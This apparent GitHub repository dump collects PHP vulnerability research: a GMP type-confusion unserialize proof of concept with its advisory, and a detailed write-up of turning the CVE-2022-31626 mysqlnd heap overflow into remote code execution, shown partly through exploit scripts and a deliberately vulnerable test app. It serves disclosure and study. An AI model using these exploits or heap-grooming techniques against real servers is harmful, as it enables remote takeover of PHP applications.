├── GMP_type_conf_unserialize ├── GMP_type_conf_POC.php ├── GMP_type_conf_advisory.md └── images │ ├── gmp_type_conf_html_1ef82a2ecc309fad.png │ ├── gmp_type_conf_html_2e481d6c5646c62e.png │ ├── gmp_type_conf_html_2f77c8e6b87a72bf.png │ ├── gmp_type_conf_html_57ecb71f480ddf12.png │ ├── gmp_type_conf_html_69633d182ced5abf.png │ ├── gmp_type_conf_html_6ad048eec7b2057f.png │ ├── gmp_type_conf_html_8f366306486ad4f2.png │ ├── gmp_type_conf_html_b1c9863272aabe0.png │ ├── gmp_type_conf_html_ba791a6b19815137.png │ ├── gmp_type_conf_html_d0543afac0dcd60c.png │ ├── gmp_type_conf_html_de16b5bb2238a9b7.png │ └── gmp_type_conf_html_e4a58805756091b1.png ├── README.md ├── cve_2022_31626_remote_exploit ├── README.md ├── cve_writeup.md ├── exploit_poc.py ├── images │ ├── img_0.png │ ├── img_1.png │ ├── img_10.png │ ├── img_11.png │ ├── img_12.png │ ├── img_13.png │ ├── img_14.png │ ├── img_15.png │ ├── img_16.png │ ├── img_17.png │ ├── img_18.png │ ├── img_19.png │ ├── img_2.png │ ├── img_20.png │ ├── img_21.png │ ├── img_22.png │ ├── img_23.png │ ├── img_24.png │ ├── img_25.png │ ├── img_26.png │ ├── img_27.png │ ├── img_28.png │ ├── img_29.png │ ├── img_2_1.png │ ├── img_2_2.png │ ├── img_3.png │ ├── img_30.png │ ├── img_31.png │ ├── img_32.png │ ├── img_33.png │ ├── img_34.png │ ├── img_35.png │ ├── img_36.png │ ├── img_37.png │ ├── img_4.png │ ├── img_5.png │ ├── img_6.png │ ├── img_7.png │ ├── img_8.png │ └── img_9.png ├── mysql_admin.php ├── mysql_constants.py └── rogue_sql_server.py └── heap_huge_chunks_overlap ├── README.md ├── generate_overlap.py └── huge_chunks_overlap.php /GMP_type_conf_unserialize/GMP_type_conf_POC.php: -------------------------------------------------------------------------------- 1 | test = $this->foo; //need code line to rewrite zval 6 | } 7 | } 8 | 9 | class obj2 implements Serializable { 10 | function serialize() { 11 | return serialize($this->data); 12 | } 13 | 14 | function unserialize($data) { 15 | unserialize($data); //need class that implements Serializable 16 | } 17 | } 18 | 19 | $obj = new stdClass; 20 | $obj->aa = 1; 21 | $obj->bb = 2; 22 | 23 | $inner = 'O:4:"obj1":2:{s:4:"test";R:2;s:3:"foo";i:1;A'; 24 | $inner2 = 's:1:"1";a:3:{s:2:"aa";i:444;s:2:"bb";i:555;i:123;C:4:"obj2":'.strlen($inner).':{'.$inner.'}}'; 25 | $exploit = 'a:2:{i:1;C:3:"GMP":'.strlen($inner2).':{'.$inner2.'};i:2;i:123;}'; 26 | unserialize($exploit); 27 | 28 | var_dump($obj); 29 | 30 | ?> -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/GMP_type_conf_advisory.md: -------------------------------------------------------------------------------- 1 | # Unfixed GMP Type Confusion 2 | 3 | Requirements: PHP <= 5.6.40\ 4 | Compiled with: '--with-gmp' 5 | 6 | ## Bug summary 7 | 8 | Original GMP Type confusion bug was found by taoguangchen researcher and reported \[1\]. 9 | The idea of exploit is to change zval structure \[2\] of GMP object during deserialization process. 10 | In original exploit author says about changing zval type using this code lines: 11 |
	function __wakeup()
 12 |         {
 13 |             $this->ryat = 1;
 14 |         }
 15 | 
16 | 17 | PHP supports serialization/deserialization of references. It is done using "R:" syntax. $this→ryat property is a reference to GMP object. Rewrite of $this→ryat property leads to rewrite of GMP zval. 18 | There are many ways to rewrite zval in PHP, easies is code line like this: 19 |
$this->a = $this->b;
20 | Part of exploit is to find this line in code of real web-application, and execute it during deserialization process. 21 | Bug in GMP extension was "fixed" as part of delayed \_\_wakeup patch. But source code in gmp.c file was not patched. So bypassing delayed \_\_wakeup would result that this bug is still exploitable. Delayed \_\_wakeup patch was introduced in PHP 5.6.30. Generally it was a patch to prevent use-after-free bugs in unserialize. Exploits using use-after-free bugs are based on removing zval’s from memory in the middle of deserialization process and further reusing freed memory. Introduced patch suspends execution of object’s \_\_wakeup method after deserialization process finishes. It prevents removing zval’s from memory during deserialization process. 22 | 23 | But there is another way to execute code in the middle of deserialization in PHP. In PHP there exists Serializable interface \[3\] It is for classes that implement custom serialization/deserialization methods. Deserialization of these classes can not be delayed. They have special syntax in unserialize starting with "C:". In real web-apps "unserialize" methods are small and don’t have code lines to rewrite zval. 24 |
public function unserialize($data) {
 25 | 	unserialize($data);
 26 | }
 27 | 
28 | If $data is invalid serialization string (bad format), unserialize($data) call will not throw any fatal error. Deserialization process will continue after unserializing custom-serialized object. This can be used to trigger \_\_destruct method using unclosed brace in serialized $data string. Code of \_\_destruct method will be executed in the middle of unserialization process! In code of \_\_destruct method there is a big chance to find code lines that rewrite zval. The only restriction for this trick is to find a class in web-application code that implements Serializable interface. 29 | 30 | ## POC debug 31 | 32 | Let us run [bug POC](./GMP_type_conf_POC.php) and understand how it works. 33 | 34 | Code line to rewrite zval is located in *obj1* class. 35 | 36 | ![](./images/gmp_type_conf_html_de16b5bb2238a9b7.png) 37 | 38 | Class *obj2* has unserialize method with another unserialize function call in it. 39 | 40 | ![](./images/gmp_type_conf_html_d0543afac0dcd60c.png) 41 | 42 | Set two breakpoints in gdb. First, when GMP object is created.\ 43 | gdb-peda$ b gmp.c:640 44 | 45 | ![](./images/gmp_type_conf_html_6ad048eec7b2057f.png) 46 | 47 | Another breakpoint, where type confusion bug happens.\ 48 | gdb-peda$ b gmp.c:661 49 | 50 | ![](./images/gmp_type_conf_html_e4a58805756091b1.png) 51 | 52 | Rub gdb, unserialization of GMP object properties starts.\ 53 | Stop on line 640 and print object zval. It is GMP object with handle = 0x2 54 | 55 | ![](./images/gmp_type_conf_html_57ecb71f480ddf12.png) 56 | 57 | Set breakpoint on unserialize call.\ 58 | gdb-peda$ b var.c:967\ 59 | Continue execution. 60 | 61 | Execution reaches second unserialize function call, located in unserialize method of obj2 class. 62 | 63 | ![](./images/gmp_type_conf_html_d0543afac0dcd60c.png) 64 | 65 | Because of invalid serialization string (it has “A” char instead of closing bracket at the end), php\_var\_unserialize call returns false and zval\_dtor(return\_value) is called. If the zval\_dtor argument has object type, it’s \_\_destruct method executes. 66 | 67 | ![](./images/gmp_type_conf_html_2e481d6c5646c62e.png) 68 | 69 | Output return\_value using printzv macros. It is object of *obj1* class with unserialized properties. 70 | 71 | ![](./images/gmp_type_conf_html_69633d182ced5abf.png) 72 | 73 | Now destructor of obj1 class executes. 74 | 75 | ![](./images/gmp_type_conf_html_b1c9863272aabe0.png) 76 | 77 | $this->test is reference to GMP object in serialized string, writing into $this->test rewrites zval of GMP object. Value to write is taken from $this→foo and equal to **i:1;** 78 | 79 | Continue execution. 80 | 81 | ![](./images/gmp_type_conf_html_e4a58805756091b1.png) 82 | 83 | See what happened with GMP zval. 84 | 85 | ![](./images/gmp_type_conf_html_2f77c8e6b87a72bf.png) 86 | 87 | Handle of GMP zval is equal to $this→foo, it is 0x1. 88 | See what function zend\_std\_get\_properties does. 89 | 90 | ![](./images/gmp_type_conf_html_8f366306486ad4f2.png) 91 | 92 | ![](./images/gmp_type_conf_html_1ef82a2ecc309fad.png) 93 | 94 | \#define Z\_OBJ\_HANDLE\_P(zval\_p) Z\_OBJ\_HANDLE(\*zval\_p)\ 95 | \#define Z\_OBJ\_HANDLE(zval) Z\_OBJVAL(zval).handle\ 96 | \#define Z\_OBJVAL(zval) (zval).value.obj 97 | 98 | Z\_OBJ\_HANDLE\_P(zval\_p) returns zval\_p.value.obj.handle it is an object handle taken from zval structure. Z\_OBJ\_P macro takes a object handle number, and returns property hashtable of object with the given handle number. zend\_hash\_copy copies props of GMP object into this hashtable. 99 | GMP handle number is fully controlled from exploit. Using this bug an attacker can rewrite props of any object in PHP script.\ 100 | GMP handle is overwritten with 0x1. In the POC script, *stdClass* object created before unserialize call has handle = 0x1. Properties of this object are overwritten, see it in GDB. 101 | 102 | ![](./images/gmp_type_conf_html_ba791a6b19815137.png) 103 | 104 | To write 0x1 into handle id, sometimes no need to use integer zval, attacker can use boolean type. PHP boolean type is represented in memory as 0 or 1 integer. Code lines like $this→prop = true are more common in real code than property assignment demonstrated previously.\ 105 | Usage of this bug in the real-world CMS / frameworks demonstrated in another advisory. 106 | 107 | References: 108 | 109 | \[1\] \ 110 | \[2\] [https://www.phpinternalsbook.com/php5/zvals/basic\_structure.html](https://www.phpinternalsbook.com/php5/zvals/basic_structure.html)\ 111 | \[3\] -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_1ef82a2ecc309fad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_1ef82a2ecc309fad.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_2e481d6c5646c62e.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_2e481d6c5646c62e.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_2f77c8e6b87a72bf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_2f77c8e6b87a72bf.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_57ecb71f480ddf12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_57ecb71f480ddf12.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_69633d182ced5abf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_69633d182ced5abf.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_6ad048eec7b2057f.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_6ad048eec7b2057f.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_8f366306486ad4f2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_8f366306486ad4f2.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_b1c9863272aabe0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_b1c9863272aabe0.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_ba791a6b19815137.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_ba791a6b19815137.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_d0543afac0dcd60c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_d0543afac0dcd60c.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_de16b5bb2238a9b7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_de16b5bb2238a9b7.png -------------------------------------------------------------------------------- /GMP_type_conf_unserialize/images/gmp_type_conf_html_e4a58805756091b1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CFandR-github/PHP-binary-bugs/012148e908fc8e3160b5c088dcb6625def97ab3b/GMP_type_conf_unserialize/images/gmp_type_conf_html_e4a58805756091b1.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Advisory of Exploits AI POP Builder 2 | 3 | Collection of PHP binary bugs advisory 4 | ### Unfixed GMP Type confusion in unserialize 5 | 6 | Idea: bypass delayed \_\_wakeup and exploit unfixed GMP type confusion bug in PHP <= 5.6.40 7 | 8 | POC source: [GMP_type_conf_POC.php](./GMP_type_conf_unserialize/GMP_type_conf_POC.php) 9 | 10 | [Advisory](./GMP_type_conf_unserialize/GMP_type_conf_advisory.md) 11 | 12 | ### CVE-2022-31626 analysis 13 | 14 | Idea: heap buffer overflow in mysqlnd, PHP <= 7.4.29 15 | 16 | POC source: [./cve_2022_31626_remote_exploit/exploit_poc.py](./cve_2022_31626_remote_exploit/exploit_poc.py) 17 | 18 | [Advisory](./cve_2022_31626_remote_exploit/cve_writeup.md) 19 | 20 | # Contacts 21 | Project channel in Telegram: 22 | - [https://t.me/CFandR_project](https://t.me/CFandR_project) -------------------------------------------------------------------------------- /cve_2022_31626_remote_exploit/README.md: -------------------------------------------------------------------------------- 1 | # Remote Exploitation Technique For CVE 2022-31626 2 | 3 | ## Bug summary 4 | 5 | We present new technique for remote exploitation of heap overflow in PHP web applications.\ 6 | PHP bug [#81719](https://bugs.php.net/bug.php?id=81719) is remote exploitable with this technique in PHP <= 7.4.29.\ 7 | Bug #81719 is Heap Overflow Bug which allowes to overwrite 4 bytes.\ 8 | Scripts demonstrate how to get code execution with overwriting 4 bytes. 9 | 10 | Files: 11 | - mysql_admin.php - simple web application 12 | - rogue_sql_server.py - script to run fake mysql server (run with python2) 13 | - exploit_poc.py - script to send http-requests to web app. -------------------------------------------------------------------------------- /cve_2022_31626_remote_exploit/cve_writeup.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-31626 analysis 2 | 3 | Some weeks ago researcher with nick [cfreal_](https://twitter.com/cfreal_) reported a bug in PHP mysqlnd package. The vulnerability is heap-based buffer overflow located in function that handles legacy mysql auth method. The bug was patched in PHP 7.4.30 with this commit [https://github.com/php/php-src/commit/58006537fc5f133ae8549efe5118cde418b3ace9](https://github.com/php/php-src/commit/58006537fc5f133ae8549efe5118cde418b3ace9).\ 4 | In real web-applications there are some cases where attacker can set arbitrary database server: CMS install scripts or remote database administration scripts. This article considers remote exploitation of this vulnerability in case of simple script for remote database administration.\ 5 | Research was done independently of [cfreal\_](https://twitter.com/cfreal_), exploit PoC was [published](https://twitter.com/cyberguru007/status/1539757422490820610) some hours before his talk at Typhoon Con 2022 :) 6 | 7 | ![](./images/img_0.png) 8 | 9 | PoC created for PHP7 configured as Apache2 module. Built with following Configure Command: 10 |
 './configure' '--with-bz2' '--with-zlib' '--with-apxs2=/usr/local/apache2.4/bin/apxs' '--with-mysqli=mysqlnd' '--enable-pdo' '--with-pdo-mysql=mysqlnd' '--enable-sockets' '--enable-mbstring' '--with-curl'
11 | 12 | All files can be downloaded here: 13 | - simple web-app [script](./mysql_admin.php) 14 | - [exploit PoC](./exploit_poc.py) 15 | - [script](./rogue_sql_server.py) for rogue Mysql server 16 | 17 | Exploit technique summary: 18 | - need only off-by-one heap overflow bug 19 | - prepare heap using POST parsing 20 | - fastbin attack / arbitrary write 21 | - memory leak using zend_string overlap 22 | - code execution with sapi_module overwrite 23 | 24 | ### Bug analysis 25 | 26 | 1. At phase of initialization of mysql connection, memory for pfc→cmd\_buffer.buffer is allocated with mnd\_pemalloc function. mnd\_pemalloc allocates memory for persistent connection. File ext/mysqlnd/mysqlnd_protocol_frame_codec.c 27 | 28 | ![](./images/img_1.png) 29 | 30 | ![](./images/img_2.png) 31 | 32 | ![](./images/img_3.png) 33 | 34 | If persistent variable is set to 1, pemalloc\_rel uses \_\_zend\_malloc and allocates memory on glibc heap. Different classes/functions for initialization of mysql connection can set persistent flag to 0 or 1. For example, PDO class always sets persistent to 1. By default pfc→cmd\_buffer.length is 0x1000. 35 | 36 | 2. At phase of authorization process, server sends auth switch packet, to do auth with “mysql\_clear\_password” method. Client accepts it and sends a clear-text password to server. Here the bug happens. File ext/mysqlnd/mysqlnd_wireprotocol.c: 37 | 38 | ![](./images/img_4.png) 39 | 40 | pfc→cmd\_buffer.length is length of buffer allocated by mysqlnd to store auth packet by default it is 0x1000. packet→auth\_data\_len is length of password sent by client. If length of pfc->cmd\_buffer.buffer is not enough to store received password, new buffer is allocated using mnd\_emalloc. mnd\_emalloc uses memory on PHP heap. 41 | 42 | 3. 43 | 44 | ![](./images/img_5.png) 45 | 46 | We want buffer to be located on PHP heap (not glibc heap). For allocating memory with mnd\_malloc, send password with length > 0x1000. Set p pointer to buffer pointer shifter by MYSQLND\_HEADER\_SIZE (4 bytes) and copy packet→auth\_data\_len bytes to it. We overwrite 4 bytes after buffer pointer.\ 47 | Note, that fourth byte is always null-byte because client sends null-terminated password string. 48 | 49 | ### PHP memory manager 50 | 51 | To create exploit for heap overflow some knowledge about PHP memory manager can help.\ 52 | In PHP 7 allocator, compared to glibc allocator, there is no size/prev\_size metadata for freed blocks, and no forward/backward consolidation. 53 | - To store memory block of small size (less than 3072), PHP uses approach similar to glibc fastbin. Free memory blocks of same size are stored in singly linked list using zend\_mm\_free\_slot structure. 54 | 55 | ![](./images/img_6.png) 56 | 57 | - Memory blocks greater than 3072 bytes are stored on pages. One page is 4096 bytes, memory block can occupy multiple pages, it’s size is rounded to be multiple to page size. Page address is aligned to 0x1000. When storing buffer on multiple pages, last page can have some unused memory. For example memory block with size 0x1f00 takes two pages, last page has 0x100 unused bytes. Pages are stored in a chunk, one chunk has 512 pages. 58 | 59 | For more documentation about PHP 7 allocator visit some links [\[1\]](https://github.com/pangudashu/php7-internal/blob/master/5/zend_alloc.md) [\[2\]](https://blog.csdn.net/onlymayao/article/details/104861371). 60 | 61 | Use fastbin attack technique for PHP allocator. With the bug we can overwrite at most 4 bytes, fourth byte is always null-byte. next\_free\_block points to next free memory block in linked list and has address like: 0x00007f8b822c9640. We search for a way to build stable exploit without bruteforce, and bypass ASLR. Address overwrite options: 62 | - Rewrite 1 byte: 0x00007f8b822c96**00** 63 | - Rewrite 2 bytes: 0x00007f8b822c**0041** 64 | - Rewrite 3 bytes: 0x00007f8b82**004141** 65 | - Rewrite 4 bytes: 0x00007f8b**00414141** 66 | 67 | We can’t predict address on the server where smallbin page is allocated, so straight forward way to bypass address randomization is to rewrite only one last byte (with null-byte). So we reduce 4-byte overflow into off-by-one overflow.\ 68 | Large chunk address is aligned to 0x1000 and size is roundedto be multiple to 0x1000. Last taken page can have some unused memory after buffer, and overflow will write into this unused memory, that gives nothing for attack. To remove the extra space after buffer, we make buffer size multiple to 0x1000. In this case writing beyond buffer writes into next page. 69 | The only way to rewrite next\_free\_block pointer is to place page allocated for smallbin linked list, exactly right after pages allocated for mysql password, and send password with length that is multiple of the page size. Next step is to prepare PHP heap in the state, where memory block for password will be always allocated right **before** memory block for smallbin. 70 | 71 | ![](./images/img_7.png) 72 | 73 | How to prepare heap for PHP web application? Web application accepts HTTP requests, and does some actions for parsing GET/POST/COOKIE variables. 74 | 75 | ### Prepare heap using POST parsing 76 | 77 | After some debugging, find code lines where memory is allocated for POST vars. PHP does three memory allocations for parsing one POST var. File: php-7.4.29/main/php\_variables.c line 320 78 | 79 | ![](./images/img_8.png) 80 | 81 | This allocation is temporary, after parsing memory block is freed on line 328.\ 82 | File: php-7.4.29/ext/filter/filter.c Line 464 83 | 84 | ![](./images/img_9.png) 85 | 86 | And line 474 87 | 88 | ![](./images/img_10.png) 89 | 90 | Two other allocations take memory for POST-variable string.\ 91 | Send many POST vars to allocate pages. Code from Python script. 92 | 93 | ![](./images/img_11.png) 94 | When POST parsing starts, many smallbins are empty, and taking memory from empty smallbins result in allocation of new pages for smallbin linked lists. File php-7.4.29/Zend/zend\_alloc.c 95 | 96 | ![](./images/img_12.png) 97 | 98 | Send POST vars to take memory from smallbin 12. Memory with sizes 129 to 160 is taken from this bin. 99 | 100 | ![](./images/img_13.png) 101 | 102 | File php-7.4.29/Zend/zend\_alloc\_sizes.h 103 | 104 | ![](./images/img_14.png) 105 | 106 | After allocation of memory for POST vars, we want to free it, and use further for password buffer. We can free taken memory when set again same keys in POST data with other values. Small trick is to overwrite not all variables (free not all taken pages). There is a condition in "for" loop in exploit code. This is done to prepare groups of consecutive free pages - "gaps". 107 | 108 | ![](./images/img_15.png) 109 | 110 | State of chunk pages before POST parsing: 111 | 112 | ![](./images/img_16.png) 113 | 114 | State of chunk pages after POST parsing: 115 | 116 | ![](./images/img_17.png) 117 | 118 | Page marked with red is taken for smallbin 12.\ 119 | You can notice that memory allocated for POST variables, placed before this smallbin, is free now. Next stages of PHP script after POST parsing are lexical analysis, Zend VM opcodes compiling. They take some free pages. In our case, the script has \~50 lines of code so it doesn’t take much memory for parsing.\ 120 | State of pages right before allocation memory for mysql password: 121 | 122 | ![](./images/img_18.png) 123 | 124 | Now allocate memory for mysql password. 125 | 126 | ![](./images/img_19.png) 127 | 128 | When searching memory for large blocks, PHP7 allocator uses best fit algorithm. Start page is searched to fill the most suitable gap. File php-7.4.29/Zend/zend\_alloc.c 129 | 130 | ![](./images/img_20.png) 131 | 132 | Allocator has “gaps” of free pages with different length (5,2,9,309). 133 | 134 | ![](./images/img_21.png) 135 | 136 | Send password with length 0x8ffd and take “gap” started in page 192 (it has most suitable length, 9 pages). 137 | 138 | ![](./images/img_22.png) 139 | 140 | 0x7f6eac6c0004 – buffer pointer\ 141 | 0x7f6eac6c9000 – smallbin page starts 142 | 143 | ### Fastbin attack and memory leak 144 | 145 | Now we can overwrite last byte of next\_free\_slot with null. Before getting code execution, exploits always do memory leak. To get memory leak we need to modify PHP variable structure in memory. The most suitable structure for this is "zend\_string" [\[3\]](https://www.phpinternalsbook.com/php7/internal_types/strings/zend_strings.html). 146 | 147 | File php-7.4.29/Zend/zend\_types.h: 148 | 149 | ![](./images/img_23.png) 150 | 151 | In PHP7 the string content is appended to the end of zend\_string structure. Overwrite “len” value and output variable with “echo”. Structure overwrite can be achieved with heap overlapping techniques. 152 | 153 | Smallbin is prepared at stage where POST variables are parsed. Remember that when parsing POST data, PHP does two memory allocations for one variable. Send 7 POST variables from 'hi1' to 'hi7' to allocate memory from smallbin. So 7 * 2 = 14 chunks are allocated. After these allocations chunk 15 is free and becomes a head of smallbin 12 linked list. After 'hi1' var was overwritten in POST with "null", chunk 1 and chunk 2 were freed. Chunk 1 points to chunk 15 (with address 0x7f6eac6c98**c0**). Dump smallbin 12 linked list before heap overflow: 154 | 155 | ![](./images/img_24.png) 156 | 157 | With off-by-one overflow rewrite chunk 1 next_free_slot last byte from c0 to 00. Now chunk 1 points to 0x7f6eac6c98**00**. 158 | 159 | ![](./images/img_25.png) 160 | 161 | Consider how free blocks are located in memory. 162 | 163 | ![](./images/img_26.png) 164 | 165 | Further taking memory from this smallbin leads to memory allocation at address 0x7f6eac6c9800 and chunk 14 overlap. 166 | 167 | Find a way to take some chunks from smallbin. Don’t forget we have opened mysql connection with a server we fully control. PHP mysqlnd client has many emalloc calls in code that parses answer from server to SELECT command. Just read Mysql protocol description to write rogue mysql server [\[4\]](https://dev.mysql.com/doc/internals/en/com-query-response.html). 168 | File php-7.4.29/ext/mysqlnd/mysqlnd\_wireprotocol.c: 169 | 170 | ![](./images/img_27.png) 171 | 172 | Use ZVAL\_STRINGL macro to allocate memory blocks of any size. Remember, that string data is appended at the end of zend\_string structure. When PHP creates string of N bytes length, it allocates memory for N + 25 bytes. Code from Python exploit: 173 | 174 | ![](./images/img_28.png) 175 | 176 | Allocate memory for zend\_string structure. 177 | 178 | ![](./images/img_29.png) 179 | 180 | Overlap memory block: 181 | 182 | ![](./images/img_30.png) 183 | 184 | zend\_string structure is changed! Now we can leak pointers from heap. 185 | 186 | ### Getting code execution 187 | 188 | Use fastbin attack for arbitrary memory write. Send 5 POST vars from 'hi1' to 'hi5' to allocate chunks 1 to 10 in smallbin. Chunk 11 becomes a head of smallbin linked list. Note that 'hi5' variable contains fake \_zend_mm_free_slot structure. 189 | 190 | ![](./images/img_34.png) 191 | 192 | Overwrite some POST vars with 'null' to free memory. Chunk 1 points to chunk 11 in smallbin linked list. 193 | 194 | ![](./images/img_37.png) 195 | 196 | With off-by-one overflow, overwrite last byte of chunk 1 next_free_slot pointer, from **40** to **00**.\ 197 | Now chunk 1 next_free_slot points to fake \_zend_mm_free_slot structure inside chunk 10. 198 | 199 | ![](./images/img_35.png) 200 | 201 | Search for pointers to overwrite for getting code execution. Good target is PHP output buffering mechanism. It works every time some data is outputed to web-page (for example, with "echo" or "var_dump") [\[5\]](https://segmentfault.com/a/1190000015836558). In PHP output buffering is done using SAPI modules. Apache2 has it's own SAPI module [\[6\]](https://developpaper.com/in-depth-explain-how-php-and-web-server-interact/), located in file php-7.4.29/sapi/apache2handler/sapi_apache2.c 202 | 203 | File php-7.4.29/main/output.c: 204 | 205 | ![](./images/img_31.png) 206 | 207 | If output buffering is not disabled (in case of Apache2), output will be processed by output handler. context.out.data is string passed for output. sapi\_module.ub\_write is callback located in global array. It is a good target for overwrite with "system" address. Prepare fake chunk structure with overwrite address. 208 | 209 | Dump smallbin after off-by-one overwrite: 210 | 211 | ![](./images/img_36.png) 212 | 213 | Do some allocations in Mysql connection to return target address.\ 214 | Set breakpoint on php\_output\_op function and see how execution goes. 215 | 216 | ![](./images/img_33.png) 217 | 218 | RCX points to system and RDI has string with bash command. We did it! 219 | 220 | ### Another heap exploitation approach 221 | 222 | ![](./images/img_2_1.png) 223 | 224 | ![](./images/img_2_2.png) 225 | 226 | Memory blocks with size larger than 2Mb are named huge chunks. 227 | PHP uses mmap system call when allocates memory for huge chunks, and creates zend_mm_huge_list structure to store information about huge chunk. Size of this structure is 0x18 bytes, and it is placed in smallbin. The structure is inserted into the head of heap→huge_list singly linked list. Unmapping huge chunks with corrupted metadata can lead to overlapping with other chunks. This approach is harder for remote exploitation, but allows to overwrite more data. See more details about this approach [here](https://github.com/CFandR-github/PHP-binary-bugs/tree/main/heap_huge_chunks_overlap). 228 | 229 | ### References 230 | 231 | \[1\] [https://github.com/pangudashu/php7-internal/blob/master/5/zend_alloc.md](https://github.com/pangudashu/php7-internal/blob/master/5/zend_alloc.md)\ 232 | \[2\] [https://blog.csdn.net/onlymayao/article/details/104861371](https://blog.csdn.net/onlymayao/article/details/104861371)\ 233 | \[3\] [https://www.phpinternalsbook.com/php7/internal_types/strings/zend_strings.html](https://www.phpinternalsbook.com/php7/internal_types/strings/zend_strings.html)\ 234 | \[4\] [https://dev.mysql.com/doc/internals/en/com-query-response.html](https://dev.mysql.com/doc/internals/en/com-query-response.html)\ 235 | \[5\] [https://segmentfault.com/a/1190000015836558](https://segmentfault.com/a/1190000015836558)\ 236 | \[6\] [https://developpaper.com/in-depth-explain-how-php-and-web-server-interact/](https://developpaper.com/in-depth-explain-how-php-and-web-server-interact/) -------------------------------------------------------------------------------- /cve_2022_31626_remote_exploit/exploit_poc.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import requests 3 | 4 | ''' 5 | Authors: Daniil Sadyrin (http://twitter.com/cyberguru007), Alexey Moskvin 6 | https://github.com/CFandR-github 7 | ''' 8 | 9 | ''' 10 | Set sapi_ub_write var with address of sapi_module.ub_write symbol in exploit_poc.py 11 | Set system var in rogue_sql_server.py with address of system symbol 12 | 13 | Set need_memleak var with 1 in both exploit_poc.py and rogue_sql_server.py to get memory leak. 14 | Set to 0 for code execution 15 | 16 | PHP process heap can have differences depending on environment / configuration. 17 | To prepare heap, play with POST parsing: add or remove some variables in "payload" array. 18 | ''' 19 | 20 | def extract_heap_addr(data): 21 | arr = [] 22 | p = b'\x7f\x00\x00' 23 | i = data.find(p) 24 | while i != -1: 25 | addr = struct.unpack('fetch_row()); $i++) { 5 | if (!$i) { 6 | echo "
"; 7 | for ($j=0; $j < count($row); $j++) { 8 | $field = $result->fetch_field(); 9 | $name = $field->name; 10 | $orgtable = $field->orgtable; 11 | $orgname = $field->orgname; 12 | echo "name != $orgname ? " title='" . ($orgtable != "" ? "$orgtable." : "") . $orgname . "'" : "") . ">" . $name . ''; 13 | } 14 | echo ""; 15 | } 16 | 17 | echo ""; 18 | foreach ($row as $key => $val) { 19 | echo ""; 22 | } 23 | echo ""; 24 | } 25 | echo ($i ? "
"; 20 | echo $val; 21 | echo "
" : ""); 26 | } 27 | 28 | //============================================================================ 29 | 30 | class MyDB extends MySQLi { 31 | var $extension = "MySQLi"; 32 | 33 | function __construct() { 34 | parent::init(); 35 | } 36 | 37 | function connect($server = "", $username = "", $password = "", $database = null, $port = null, $socket = null) { 38 | $return = @$this->real_connect($server, $username, $password, $database, $port); 39 | $this->options(MYSQLI_OPT_LOCAL_INFILE, false); 40 | return $return; 41 | } 42 | 43 | } 44 | 45 | $c = new MyDB(); 46 | $c->connect($_POST['server'], $_POST['username'], $_POST['password'], $_POST['db'], 3306); 47 | $c->multi_query("select 1; select 2;"); 48 | 49 | do { 50 | $result = $c->store_result(); 51 | if (is_object($result)) { 52 | select($result); 53 | } 54 | } while ($c->next_result()); 55 | 56 | ?> -------------------------------------------------------------------------------- /cve_2022_31626_remote_exploit/mysql_constants.py: -------------------------------------------------------------------------------- 1 | 2 | ''' 3 | Authors: Daniil Sadyrin (http://twitter.com/cyberguru007), Alexey 